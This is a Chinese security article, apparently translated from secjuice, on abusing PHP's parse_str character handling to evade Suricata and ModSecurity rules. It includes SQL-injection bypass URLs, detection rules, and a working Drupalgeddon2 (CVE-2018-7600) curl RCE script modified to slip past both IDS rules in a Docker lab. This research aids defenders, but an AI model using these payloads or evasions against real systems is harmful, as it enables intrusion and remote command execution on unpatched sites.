我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
例如:
User input | Decoded PHP | variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
通过以下这个示例,你可以更直观的看到parser_str函数如何处理字符串:
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:
1.[1st]foo_bar
2.foo[2nd]bar
3.foo_bar[3rd]
在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。
Suricata
也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎能够进行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。
在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则:
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)
简单来说,上述规则会检查news_id的值是否是数字。那么根据上述知识,我们可以很容易的绕过防御,如下所示:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
通过在Google和Github上进行搜索,我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
上述规则可以通过以下方式绕过:
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
当然,这条规则交换参数位置即可绕过,比如:
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
WAF(ModSecurity)
此外,PHP查询字符串的解析特性也可用以绕过WAF。想象一下,它的规则类似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然可以通过相同的手段绕过。幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数。比如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上规则将拦截诸如以下的请求:
⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'
PoC || GTFO
让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。
我将使用两条Suricata防御规则:
1.一条自定义规则拦截form_id=user_register_form
2.另一条是关于CVE-2018-7600的通用规则
Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:
首先,让我们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,比如:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所见,上面的脚本将执行命令id:
现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配; Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。我的规则:
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)
通用规则:
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)
在重启Suricata后,我的攻击被成功报警:
可以看到,我们得到了两条日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Bypass!
这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:
form%5bid=user_register_form
如上图所见,现在只有通用规则的警报。分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码。因此,我们可以使用post%5frender代替post_render来绕过:
最后得出可绕过两个规则的PoC:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
*参考来源:secjuice,FB小编周大涛编译,转载请注明来自FreeBuf.COM